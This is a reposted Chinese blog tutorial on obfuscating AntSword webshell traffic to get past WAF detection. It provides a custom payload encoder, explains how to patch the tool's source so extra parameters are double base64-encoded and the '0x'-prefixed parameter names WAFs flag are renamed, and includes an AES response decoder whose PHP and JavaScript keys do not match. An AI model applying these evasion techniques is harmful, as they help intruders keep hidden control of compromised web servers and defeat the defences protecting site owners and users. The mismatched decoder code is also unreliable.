关于对antSword(蚁剑)进行流量混淆处理的解决方案

2019-07-26 约 1892 字 预计阅读 4 分钟

声明:本文 【关于对antSword(蚁剑)进行流量混淆处理的解决方案】 由作者 timwhite 于 2019-07-26 09:45:00 首发 先知社区 曾经 浏览数 29 次

感谢 timwhite 的辛苦付出!

1.前言

最近做渗透测试的过程中经常会用到webshell,在前段时间阅读了dalao的"从静态到动态打造一款免杀的antSword(蚁剑)"一文

https://xz.aliyun.com/t/4000

便着手开始跟着文章进行修改。(p.s 虽然冰蝎的加密十分优秀,不过其不开源、返回包不混淆等特点还是略显无趣)
然而,笔者在修改的过程中发现了一些原作者未考虑到的环节,特此提出与大家探讨。若有偏差,纯属本人技术菜鸡。

2.关于请求包混淆

原题主采用自定义编码器的方式进行请求包流量混淆,编码器源码如下:

module.exports = (pwd, data) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let num =  Math.floor(Math.random()*15);
  let randomStr = `${Math.random().toString(16).substr(num)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  let encry= new Buffer(data['_']).toString('base64');
  data['num'] = 15-num;

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = `${randomStr}`+encry+`${randomStr}`;
  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

编码器是没问题的,但是在测试的过程中,原文笔者仅通过蚁剑内的测试连接进行测试,而未进行类似于命令执行等功能测试,笔者的测试混淆前后请求包如下两图:


由图可以看出,执行命令数据包比测试包多了两个参数。而那两个参数是不经过编码器的,其参数名和参数值的base64decode值均有可能被识别。
所以,在此基础上,通过了解蚁剑对应的源码文件,找到了以下解决方案来解决对请求包的混淆。(仅限于php)

出来主要参数外,其余两个参数仅仅通过base64编码操作,在antSword-2.1.4\source\core文件夹内的base.js内有该编码操作对应的代码:

作为参考,我把该处加密过程改为双重base64(仅为可行性参考,后期可在对应位置添加其余加密方式作为混淆操作),如下图:

编码位置了解完了,接下来是解码的问题,为了数据传输可被识别,该处编码的修改需被正确解码,此时就需要修改antSword-2.1.4\source\core\php\template文件夹内的js文件了,我们以command.js为例,其余文件均用类似方法修改,如图:

注意,仅需要对通过base64编码后的参数,如图中的arg1/arg2对应post位置进行解码方式修改,在下图filemanager.js对应的方框内的参数只进行了buffer操作未进行base64,则不需要被修改:

修改后的数据包如下图:

可见红框对应的两个参数的值已经过了双重base64的编码处理。并且经测试如果template中的文件修改无误后可得到正确的返回结果了。

接下来对请求包进行最后一步混淆操作,即对参数名进行混淆。在查询资料的过程中,发现许多waf对蚁剑的识别方式为识别0x开头的字符串参数名。若要修改该参数名称,需要修改antSword-2.1.4\source\core\base.js的对应位置,如下图:

即可。

以上则为笔者对于蚁剑请求包的混淆处理方法(具体加密编码流程仅作为示范)。

3.关于返回包混淆

返回包的混淆对应的情况则简单的多,只需要按照蚁剑规范编写相对应的解码器即可。
如下为自带的base64解码器参考:

/**
 * php::base64解码器
 * Create at: 2019/07/20 20:54:42
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode($out);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

该解码器主要分为两部分,shell中返回值的编码以及在loader中的解码操作。其中,编码的语法需遵循shell对应语言的语法(此处为php),而解码操作则为蚁剑的jsp语法。
以下给出一个我修改的aes-128解码器代码作为参考:

/**
 * php::AES-128-ECB 解码器
 * Create at: 2019/05/13 15:43:55
 */

'use strict';
const path = require('path');
var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));


function decryptText(keyStr, text) {
  let buff = Buffer.alloc(16, 'a');
  buff.write(keyStr,0);
  keyStr = buff.toString();
  let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
    mode: CryptoJS.mode.ECB,
    padding: CryptoJS.pad.Pkcs7,
  }).toString(CryptoJS.enc.Utf8);
  return decodetext;
}

function encryptText(keyStr, text) {
  let buff = Buffer.alloc(16, 'a');
  buff.write(keyStr,0);
  keyStr = buff.toString();
  let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
    mode: CryptoJS.mode.ECB,
    padding: CryptoJS.pad.Pkcs7,
  }).toString();
  return encodetext;
}

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    // 默认是 pkcs7 padding
    return `function asenc($out){
      @session_start();
      $key='f5045b05abe6ec9b1e37fafa851f5de9';
      return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
    };
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码字符串
   * @param {string} data 要被解码的字符串
   * @returns {string} 解码后的字符串
   */
  decode_str: (data) => {
    if(data.length === 0) {
      return data;
    }
    let keyStr = '1111111111111111';
    let ret = decryptText(keyStr, data);
    return Buffer.from(ret, 'base64').toString();
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data) => {
    if(data.length === 0) {
      return data;
    }
    let keyStr ='1111111111111111';
    let ret = decryptText(keyStr, Buffer.from(data).toString());
    return Buffer.from(ret, 'base64');
  }
}

以上则为本文全部内容。水平不高请见谅。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now